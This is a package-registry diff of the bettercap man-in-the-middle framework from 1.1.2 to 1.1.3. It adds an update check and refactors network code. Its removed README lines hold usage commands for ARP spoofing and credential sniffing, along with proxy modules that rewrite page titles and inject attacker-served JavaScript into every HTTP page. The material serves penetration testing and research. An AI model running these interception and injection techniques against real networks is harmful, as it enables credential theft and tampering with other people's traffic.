bettercap 1.1.2 → 1.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: f5189ce91219e92b52425d6998055595f6a95e62
4
- data.tar.gz: d7e82086dd586073fef89bdf446b1d6277bcf0b6
3
+ metadata.gz: 3ec474a048798ccf1e1cdffd8e9cd89451664e34
4
+ data.tar.gz: b7a71427a38b282296afe4ea29e4ff17544a2ae8
5
5
  SHA512:
6
- metadata.gz: aad971a8c77e6909117a5057b843734cc0e6bb53b7cbf324db5d6c6db7c6d9b08c2e41e1971d660ec506a82338f7a850aebb25b2f5de95a64214d261a039ab06
7
- data.tar.gz: 364295824c4b2104be96c44facef757afb559483adae7003785614ac9f78220dbd06cc441fb25f93933636d1d3cca0fe9b7909245915e314d2710a47f8cf2baf
6
+ metadata.gz: 1181286df3a437f4687ad6472dec73979358f517946775f7b5b058831bdd8209505ae8efe77e2034698d7cc0952daeb4b80e072f28698e6fee2b3e46304c6105
7
+ data.tar.gz: b180321825414edddc52aa36d3eee9a3c67c320aa55ed1911a1fe5c0a9758c241adc914bfab558dc1fe15c32d65574ec1b62e3dd2e993661a20b1744c11708f1
data/README.md CHANGED
@@ -4,151 +4,12 @@ Copyleft of Simone '[evilsocket](https://twitter.com/evilsocket)' Margaritelli*.
4
4
 
5
5
  http://www.bettercap.org/
6
6
 
7
- [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap)
7
+ [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap)
8
8
  ---
9
9
 
10
10
  **bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
11
11
  and offensive feature you could need in order to perform a man in the middle attack.
12
12
 
13
- MOTIVATIONS
14
- ===
15
-
16
- > Yet another MITM tool? C'mon, really?!!?
17
-
18
- This is exactly what you are thinking right now, isn't it? :D
19
- But allow yourself to think about it for 5 more minutes ... what you should be really asking is:
20
-
21
- > Does a complete, modular, portable and easy to extend MITM tool actually exist?
22
-
23
- If your answer is "ettercap", let me tell you something:
24
-
25
- * ettercap **was** a great tool, but it made its time.
26
- * ettercap filters **do not** work most of the times, are outdated and hard to implement due to the specific language they're implemented in.
27
- * ettercap is freaking **unstable** on big networks ... try to launch the host discovery on a bigger network rather than the usual /24 ;)
28
- * yeah you can see connections and raw pcap stuff, **nice toy**, but **as a professional researcher I want to see only relevant stuff**.
29
- * unless you're a C/C++ developer, you can't easily extend ettercap or make your own module.
30
-
31
- Indeed you could use more than just one tool ... maybe [arpspoof](http://linux.die.net/man/8/arpspoof) to perform the actual poisoning, [mitmproxy](http://mitmproxy.org) to intercept HTTP stuff and inject your payloads and so forth ... I don't know about you, but I **hate** when I need to use a dozen of tools just to perform one single attack, especially when I need to do some black magic in order to make all of them work on my distro or on OSX ... what about the [KISS](https://en.wikipedia.org/wiki/KISS_principle) principle?
32
-
33
- So **bettercap** was born ( isn't the name pure genius? XD ) ...
34
-
35
- HOST DISCOVERY + ARP MAN IN THE MIDDLE
36
- ===
37
-
38
- You can target the whole network or a single known address, it doesn't really matter, bettercap arp spoofing capabilities and its multiple hosts discovery agents will do the dirty work for you.
39
- Just launch the tool and wait for it to do its job ... again, [KISS!](https://en.wikipedia.org/wiki/KISS_principle)
40
-
41
- ![credentials](http://bettercap.org/images/discovery.png)
42
-
43
- CREDENTIALS SNIFFER
44
- ===
45
-
46
- The built in sniffer is currently able to dissect and print from the network the following informations:
47
-
48
- - URLs being visited.
49
- - HTTPS host being visited.
50
- - HTTP POSTed data.
51
- - HTTP Basic and Digest authentications.
52
- - FTP credentials.
53
- - IRC credentials.
54
- - POP, IMAP and SMTP credentials.
55
- - NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
56
-
57
- ![credentials](http://bettercap.org/images/credentials.png)
58
-
59
- **Examples**
60
-
61
- Default sniffer mode, all parsers enabled:
62
-
63
- sudo bettercap -X
64
-
65
- Enable sniffer and load only specified parsers:
66
-
67
- sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
68
-
69
- Enable sniffer + all parsers and parse local traffic as well:
70
-
71
- sudo bettercap -X -L
72
-
73
- MODULAR TRANSPARENT PROXY
74
- ===
75
-
76
- A modular transparent proxy can be started with the --proxy argument, by default it won't do anything
77
- but logging HTTP requests, but if you specify a **--proxy-module** argument you will be able to load
78
- your own modules and manipulate HTTP traffic as you like.
79
- You can find some example modules in the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules).
80
-
81
- ![credentials](http://bettercap.org/images/proxy.png)
82
-
83
- **Examples**
84
-
85
- Enable proxy on default ( 8080 ) port with no modules ( quite useless ):
86
-
87
- sudo bettercap --proxy
88
-
89
- Enable proxy and use a custom port:
90
-
91
- sudo bettercap --proxy --proxy-port=8081
92
-
93
- Enable proxy and load the module **hack_title.rb**:
94
-
95
- sudo bettercap --proxy --proxy-module=hack_title.rb
96
-
97
- Disable spoofer and enable proxy ( stand alone proxy mode ):
98
-
99
- sudo bettercap -S NONE --proxy
100
-
101
- **Modules**
102
-
103
- You can easily implement a module to inject data into pages or just inspect the
104
- requests/responses creating a ruby file and passing it to bettercap with the --proxy-module argument,
105
- the following is a sample module that injects some contents into the title tag of each html page.
106
-
107
- ```ruby
108
- class HackTitle < Proxy::Module
109
- def on_request( request, response )
110
- # is it a html page?
111
- if response.content_type == 'text/html'
112
- Logger.info "Hacking http://#{request.host}#{request.url} title tag"
113
- # make sure to use sub! or gsub! to update the instance
114
- response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
115
- end
116
- end
117
- end
118
- ```
119
-
120
- BUILTIN HTTP SERVER
121
- ===
122
-
123
- You want to serve your custom javascript files on the network? Maybe you wanna inject some custom
124
- script or image into HTTP responses using a transparent proxy module but you got no public server
125
- to use? **no worries dude** :D
126
- A builtin HTTP server comes with bettercap, allowing you to serve custom contents from your own
127
- machine without installing and configuring other softwares such as Apache, nginx or lighttpd.
128
-
129
- You could use a **proxy module** like the following:
130
-
131
- ```ruby
132
- class InjectJS < Proxy::Module
133
- def on_request( request, response )
134
- # is it a html page?
135
- if response.content_type == 'text/html'
136
- Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
137
- # get the local interface address and HTTPD port
138
- localaddr = Context.get.ifconfig[:ip_saddr]
139
- localport = Context.get.options[:httpd_port]
140
- # inject the js
141
- response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
142
- end
143
- end
144
- end
145
- ```
146
-
147
- And then use it to inject the js file in every HTTP response of the network, using bettercap itself
148
- to serve the file:
149
-
150
- sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
151
-
152
13
  HOW TO INSTALL
153
14
  ===
154
15
 
@@ -173,3 +34,8 @@ dependency in order to make everything work:
173
34
 
174
35
  This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
175
36
 
37
+
38
+ EXAMPLES & INSTRUCTIONS
39
+ ===
40
+
41
+ Please refer to the [official website](http://bettercap.org).
data/TODO.md CHANGED
@@ -6,16 +6,17 @@ This is a list of TODOs I use to keep track of tasks and upcoming features.
6
6
  - [x] Capture to .pcap file.
7
7
  - [x] BPF filters.
8
8
  - [x] BeEF proxy module ( [BeefBOX](https://github.com/evilsocket/bettercap-proxy-modules/blob/master/beefbox.rb) ).
9
- - [ ] ICMP Redirect.
9
+ - [x] Use raw file arp parsing instead of "arp -a" to improve speed. ( Solved with arp -a -n )
10
+ - [ ] *BSD Support.
10
11
  - [ ] sslstrip
11
12
  - [ ] sslmitm
12
- - [ ] *BSD Support.
13
13
  - [ ] HTTP/2 Support.
14
14
  - [ ] Active packet filtering/injection/etc.
15
15
 
16
16
  **Maybe**
17
17
 
18
18
  - [ ] Replace webrick with thin ( proxy too? )
19
+ - [ ] ICMP Redirect ? ( only half duplex and filtered by many firewalls anyway ... dunno ).
19
20
  - [ ] DNS Spoofing ( not sure if it actually makes any sense ).
20
21
  - [ ] Windows Support? ( OMG PLZ NO! )
21
22
  - [ ] Output/actions as json for UI integration?
@@ -22,6 +22,7 @@ begin
22
22
 
23
23
  OptionParser.new do |opts|
24
24
  opts.banner = "Usage: #{$0} [options]"
25
+ opts.version = BetterCap::VERSION
25
26
 
26
27
  opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options[:iface].to_s ) do |v|
27
28
  ctx.options[:iface] = v
@@ -103,6 +104,10 @@ begin
103
104
  ctx.options[:httpd_path] = v
104
105
  end
105
106
 
107
+ opts.on( '--check-updates', 'Will check if any update is available and then exit.' ) do
108
+ ctx.options[:check_updates] = true
109
+ end
110
+
106
111
  opts.on('-h', '--help', 'Display the available options.') do
107
112
  puts opts
108
113
  puts "\nExamples:\n".bold
@@ -126,6 +131,21 @@ begin
126
131
  end
127
132
  end.parse!
128
133
 
134
+ if ctx.options[:check_updates]
135
+ begin
136
+ ver = ctx.check_updates
137
+ if !ver.nil?
138
+ Logger.warn "New version #{ver} available!"
139
+ else
140
+ Logger.info 'You are running the latest version.'
141
+ end
142
+ rescue Exception => e
143
+ Logger.error "Could not check for updates: #{e.message}"
144
+ end
145
+
146
+ exit
147
+ end
148
+
129
149
  raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
130
150
  raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' unless !ctx.options[:iface].nil?
131
151
 
@@ -10,6 +10,10 @@ This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
12
  class IFirewall
13
+ def initialize
14
+ @frwd_initial_state = forwarding_enabled?
15
+ end
16
+
13
17
  def enable_forwarding(enabled)
14
18
  not_implemented_method!
15
19
  end
@@ -26,6 +30,12 @@ class IFirewall
26
30
  not_implemented_method!
27
31
  end
28
32
 
33
+ def restore
34
+ if forwarding_enabled? != @frwd_initial_state
35
+ enable_forwarding @frwd_initial_state
36
+ end
37
+ end
38
+
29
39
  private
30
40
 
31
41
  def not_implemented_method!
@@ -11,7 +11,10 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
 
13
13
  # this class holds global states & data
14
+ require 'bettercap/version'
14
15
  require 'bettercap/error'
16
+ require 'net/http'
17
+ require 'json'
15
18
 
16
19
  class Context
17
20
  attr_accessor :options, :ifconfig, :network, :firewall, :gateway,
@@ -32,26 +35,28 @@ class Context
32
35
  end
33
36
 
34
37
  @options = {
35
- :iface => iface,
36
- :spoofer => 'ARP',
37
- :target => nil,
38
- :logfile => nil,
39
- :debug => false,
40
- :arpcache => false,
41
-
42
- :sniffer => false,
43
- :sniffer_pcap => nil,
44
- :sniffer_filter => nil,
45
- :parsers => ['*'],
46
- :local => false,
47
-
48
- :proxy => false,
49
- :proxy_port => 8080,
50
- :proxy_module => nil,
51
-
52
- :httpd => false,
53
- :httpd_port => 8081,
54
- :httpd_path => './'
38
+ iface: iface,
39
+ spoofer: 'ARP',
40
+ target: nil,
41
+ logfile: nil,
42
+ debug: false,
43
+ arpcache: false,
44
+
45
+ sniffer: false,
46
+ sniffer_pcap: nil,
47
+ sniffer_filter: nil,
48
+ parsers: ['*'],
49
+ local: false,
50
+
51
+ proxy: false,
52
+ proxy_port: 8080,
53
+ proxy_module: nil,
54
+
55
+ httpd: false,
56
+ httpd_port: 8081,
57
+ httpd_path: './',
58
+
59
+ check_updates: false
55
60
  }
56
61
 
57
62
  @ifconfig = nil
@@ -67,6 +72,19 @@ class Context
67
72
  @discovery_thread = nil
68
73
  end
69
74
 
75
+ def check_updates
76
+ Logger.info 'Checking for updates ...'
77
+
78
+ api = URI('https://api.github.com/repos/evilsocket/bettercap/releases/latest')
79
+ body = Net::HTTP.get(api)
80
+ json = JSON.parse(body)
81
+
82
+ if json['tag_name'] != BetterCap::VERSION and json['tag_name'] != "v#{BetterCap::VERSION}"
83
+ return json['tag_name']
84
+ end
85
+ nil
86
+ end
87
+
70
88
  def update_network
71
89
  @firewall = FirewallFactory.get_firewall
72
90
  @ifconfig = PacketFu::Utils.ifconfig @options[:iface]
@@ -135,7 +153,7 @@ class Context
135
153
  end
136
154
 
137
155
  if !@firewall.nil?
138
- @firewall.enable_forwarding(false)
156
+ @firewall.restore
139
157
  end
140
158
 
141
159
  if !@httpd.nil?
@@ -13,6 +13,7 @@ require 'bettercap/logger'
13
13
  require 'bettercap/shell'
14
14
  require 'bettercap/target'
15
15
  require 'bettercap/discovery/base'
16
+ require 'bettercap/context'
16
17
 
17
18
  # Parse the ARP table searching for new hosts.
18
19
  class ArpAgent < BaseAgent
@@ -37,6 +38,22 @@ class ArpAgent < BaseAgent
37
38
  targets
38
39
  end
39
40
 
41
+ def self.find_address( ip )
42
+ arp = Shell.arp
43
+ mac = nil
44
+
45
+ arp.split("\n").each do |line|
46
+ m = /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{Context.get.ifconfig[:iface]}.*/i.match(line)
47
+ if !m.nil?
48
+ if m[1] == ip and m[2] != 'ff:ff:ff:ff:ff:ff'
49
+ mac = m[2]
50
+ end
51
+ end
52
+ end
53
+
54
+ mac
55
+ end
56
+
40
57
  private
41
58
 
42
59
  def send_probe( ip )
@@ -20,10 +20,10 @@ class Server
20
20
  @port = port
21
21
  @path = path
22
22
  @server = WEBrick::HTTPServer.new(
23
- :Port => @port,
24
- :DocumentRoot => @path,
25
- :Logger => WEBrick::Log.new("/dev/null"),
26
- :AccessLog => []
23
+ Port: @port,
24
+ DocumentRoot: @path,
25
+ Logger: WEBrick::Log.new("/dev/null"),
26
+ AccessLog: []
27
27
  )
28
28
  end
29
29
 
@@ -26,51 +26,69 @@ module PacketFu
26
26
  Logger.debug "ifconfig #{iface}"
27
27
 
28
28
  ifconfig_data = Shell.ifconfig(iface)
29
-
29
+ if ifconfig_data =~ /#{iface}/i
30
+ ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
31
+ else
32
+ raise ArgumentError, "Cannot ifconfig #{iface}"
33
+ end
34
+
30
35
  case RUBY_PLATFORM
31
36
  when /linux/i
32
- Logger.debug "Linux ifconfig #{iface}:\n#{ifconfig_data}"
33
-
34
- if ifconfig_data =~ /#{iface}/i
35
- ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
36
- else
37
- raise ArgumentError, "Cannot ifconfig #{iface}"
38
- end
39
- real_iface = ifconfig_data.first
40
- ret[:iface] = real_iface.split.first.downcase.gsub(':','')
41
- if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i
42
- ret[:eth_saddr] = $1.downcase
43
- ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
44
- end
45
- ifconfig_data.each do |s|
46
- case s
37
+ ret = linux_ifconfig iface, ifconfig_data
38
+ when /darwin/i
39
+ ret = darwin_ifconfig iface, ifconfig_data
40
+ end
41
+
42
+ ret
43
+ end
44
+
45
+ private
46
+
47
+ def self.linux_ifconfig(iface='eth0',ifconfig_data)
48
+ Logger.debug "Linux ifconfig #{iface}:\n#{ifconfig_data}"
49
+
50
+ ret = {}
51
+ real_iface = ifconfig_data.first
52
+ ret[:iface] = real_iface.split.first.downcase.gsub(':','')
53
+
54
+ if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i
55
+ ret[:eth_saddr] = $1.downcase
56
+ ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
57
+ end
58
+
59
+ ifconfig_data.each do |s|
60
+ case s
47
61
  when /inet [a-z]+:[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*[a-z]+:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
48
62
  ret[:ip_saddr] = $1
49
- ret[:ip_src] = [IPAddr.new($1).to_i].pack("N")
63
+ ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
50
64
  ret[:ip4_obj] = IPAddr.new($1)
51
65
  ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
52
66
  when /inet[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
53
67
  ret[:ip_saddr] = $1
54
- ret[:ip_src] = [IPAddr.new($1).to_i].pack("N")
68
+ ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
55
69
  ret[:ip4_obj] = IPAddr.new($1)
56
70
  ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
57
71
  when /inet6 [a-z]+:[\s]*([0-9a-fA-F:\x2f]+)/
58
72
  ret[:ip6_saddr] = $1
59
73
  ret[:ip6_obj] = IPAddr.new($1)
60
- end
61
- end # linux
62
- when /darwin/i
63
- Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
64
-
65
- if ifconfig_data =~ /#{iface}/i
66
- ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
67
- else
68
- raise ArgumentError, "Cannot ifconfig #{iface}"
74
+ when /ether[\s]+([0-9a-fA-F:]{17})/i
75
+ ret[:eth_saddr] = $1.downcase
76
+ ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
69
77
  end
70
- real_iface = ifconfig_data.first
71
- ret[:iface] = real_iface.split(':')[0]
72
- ifconfig_data.each do |s|
73
- case s
78
+ end
79
+
80
+ ret
81
+ end
82
+
83
+ def self.darwin_ifconfig(iface='eth0',ifconfig_data)
84
+ Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
85
+
86
+ ret = {}
87
+ real_iface = ifconfig_data.first
88
+ ret[:iface] = real_iface.split(':')[0]
89
+
90
+ ifconfig_data.each do |s|
91
+ case s
74
92
  when /ether[\s]([0-9a-fA-F:]{17})/i
75
93
  ret[:eth_saddr] = $1
76
94
  ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
@@ -87,9 +105,9 @@ module PacketFu
87
105
  when /inet6[\s]*([0-9a-fA-F:\x2f]+)/
88
106
  ret[:ip6_saddr] = $1
89
107
  ret[:ip6_obj] = IPAddr.new($1)
90
- end
91
- end # darwin
92
- end # RUBY_PLATFORM
108
+ end
109
+ end
110
+
93
111
  ret
94
112
  end
95
113
  end
@@ -40,6 +40,7 @@ class Network
40
40
  out.each do |line|
41
41
  if line.include?( Context.get.options[:iface] )
42
42
  gw = line.split[1]
43
+ break if is_ip?(gw)
43
44
  end
44
45
  end
45
46
 
@@ -91,41 +92,43 @@ class Network
91
92
  won't catch anything, instead we're using cap.stream.each.
92
93
  =end
93
94
  def get_hw_address( iface, ip_address, attempts = 2 )
94
- hw_address = nil
95
-
96
- attempts.times do
97
- arp_pkt = PacketFu::ARPPacket.new
98
-
99
- arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
100
- arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
101
- arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
102
- arp_pkt.arp_saddr_ip = iface[:ip_saddr]
103
- arp_pkt.arp_daddr_ip = ip_address
104
-
105
- cap_thread = Thread.new do
106
- target_mac = nil
107
- timeout = 0
108
-
109
- cap = PacketFu::Capture.new(
110
- :iface => iface[:iface],
111
- :start => true,
112
- :filter => "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
113
- )
114
- arp_pkt.to_w(iface[:iface])
115
-
116
- begin
117
- Logger.debug 'Attempting to get MAC from packet capture ...'
118
- target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
119
- rescue Timeout::Error
120
- timeout += 0.1
121
- retry if target_mac.nil? && timeout <= 5
95
+ hw_address = ArpAgent.find_address( ip_address )
96
+
97
+ if hw_address.nil?
98
+ attempts.times do
99
+ arp_pkt = PacketFu::ARPPacket.new
100
+
101
+ arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
102
+ arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
103
+ arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
104
+ arp_pkt.arp_saddr_ip = iface[:ip_saddr]
105
+ arp_pkt.arp_daddr_ip = ip_address
106
+
107
+ cap_thread = Thread.new do
108
+ target_mac = nil
109
+ timeout = 0
110
+
111
+ cap = PacketFu::Capture.new(
112
+ iface: iface[:iface],
113
+ start: true,
114
+ filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
115
+ )
116
+ arp_pkt.to_w(iface[:iface])
117
+
118
+ begin
119
+ Logger.debug 'Attempting to get MAC from packet capture ...'
120
+ target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
121
+ rescue Timeout::Error
122
+ timeout += 0.1
123
+ retry if target_mac.nil? && timeout <= 5
124
+ end
125
+
126
+ target_mac
122
127
  end
128
+ hw_address = cap_thread.value
123
129
 
124
- target_mac
130
+ break unless hw_address.nil?
125
131
  end
126
- hw_address = cap_thread.value
127
-
128
- break unless hw_address.nil?
129
132
  end
130
133
 
131
134
  hw_address
@@ -213,7 +213,7 @@ class Proxy
213
213
  if request.content_length > 0
214
214
  Logger.debug "Getting #{request.content_length} bytes from client"
215
215
 
216
- binary_streaming client, server, :request => request
216
+ binary_streaming client, server, request: request
217
217
  end
218
218
 
219
219
  Logger.debug 'Reading response ...'
@@ -240,7 +240,7 @@ class Proxy
240
240
 
241
241
  Logger.debug 'Binary streaming'
242
242
 
243
- binary_streaming server, client, :response => response
243
+ binary_streaming server, client, response: response
244
244
  end
245
245
 
246
246
  Logger.debug "#{client_ip}:#{client_port} served."
@@ -24,7 +24,7 @@ module Shell
24
24
  end
25
25
 
26
26
  def arp
27
- self.execute( 'LANG=en && arp -a' )
27
+ self.execute( 'LANG=en && arp -a -n' )
28
28
  end
29
29
 
30
30
  end
@@ -17,36 +17,34 @@ require 'packetfu'
17
17
  class Sniffer
18
18
  include PacketFu
19
19
 
20
+ @@ctx = nil
20
21
  @@parsers = nil
22
+ @@pcap = nil
23
+ @@cap = nil
21
24
 
22
25
  def self.start( ctx )
23
26
  Logger.info 'Starting sniffer ...'
24
27
 
25
- pcap = nil
28
+ setup( ctx )
26
29
 
27
- if !ctx.options[:sniffer_pcap].nil?
28
- pcap = PcapFile.new
29
- Logger.warn "Saving packets to #{ctx.options[:sniffer_pcap]} ."
30
+ @@cap.stream.each do |p|
31
+ append_packet p
32
+ parse_packet p
30
33
  end
34
+ end
31
35
 
32
- @@parsers = ParserFactory.load_by_names ctx.options[:parsers]
33
-
34
- cap = Capture.new(
35
- :iface => ctx.options[:iface],
36
- :filter => ctx.options[:sniffer_filter],
37
- :start => true
38
- )
39
- cap.stream.each do |p|
40
- begin
41
- pcap.array_to_file( :filename => ctx.options[:sniffer_pcap], :array => [p], :append => true) unless pcap.nil?
42
- rescue Exception => e
43
- Logger.warn e.message
44
- end
36
+ private
45
37
 
38
+ def self.parse_packet( p )
39
+ begin
46
40
  pkt = Packet.parse p
47
- if not pkt.nil? and pkt.is_ip?
48
- next if ( pkt.ip_saddr == ctx.ifconfig[:ip_saddr] or pkt.ip_daddr == ctx.ifconfig[:ip_saddr] ) and !ctx.options[:local]
41
+ rescue Exception => e
42
+ pkt = nil
43
+ Logger.debug e.message
44
+ end
49
45
 
46
+ if not pkt.nil? and pkt.is_ip?
47
+ if !skip_packet? pkt
50
48
  @@parsers.each do |parser|
51
49
  begin
52
50
  parser.on_packet pkt
@@ -57,4 +55,38 @@ class Sniffer
57
55
  end
58
56
  end
59
57
  end
58
+
59
+ def self.skip_packet?( pkt )
60
+ !@@ctx.options[:local] and
61
+ ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
62
+ pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
63
+ end
64
+
65
+ def self.append_packet( p )
66
+ begin
67
+ @@pcap.array_to_file(
68
+ filename: @@ctx.options[:sniffer_pcap],
69
+ array: [p],
70
+ append: true ) unless @@pcap.nil?
71
+ rescue Exception => e
72
+ Logger.warn e.message
73
+ end
74
+ end
75
+
76
+ def self.setup( ctx )
77
+ @@ctx = ctx
78
+
79
+ if !@@ctx.options[:sniffer_pcap].nil?
80
+ @@pcap = PcapFile.new
81
+ Logger.warn "Saving packets to #{@@ctx.options[:sniffer_pcap]} ."
82
+ end
83
+
84
+ @@parsers = ParserFactory.load_by_names @@ctx.options[:parsers]
85
+
86
+ @@cap = Capture.new(
87
+ iface: @@ctx.options[:iface],
88
+ filter: @@ctx.options[:sniffer_filter],
89
+ start: true
90
+ )
91
+ end
60
92
  end
@@ -84,7 +84,7 @@ class ArpSpoofer < ISpoofer
84
84
  if target.mac.nil?
85
85
  Logger.warn "Getting target #{target.ip} MAC address ..."
86
86
 
87
- hw = Network.get_hw_address( @ctx.ifconfig, target.ip, 1 )
87
+ hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
88
88
  if hw.nil?
89
89
  Logger.warn "Couldn't determine target MAC"
90
90
  next
@@ -10,6 +10,6 @@ This project is released under the GPL 3 license.
10
10
 
11
11
  =end
12
12
  module BetterCap
13
- VERSION = '1.1.2'
13
+ VERSION = '1.1.3'
14
14
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
15
15
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.2
4
+ version: 1.1.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2015-07-26 00:00:00.000000000 Z
11
+ date: 2015-07-27 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize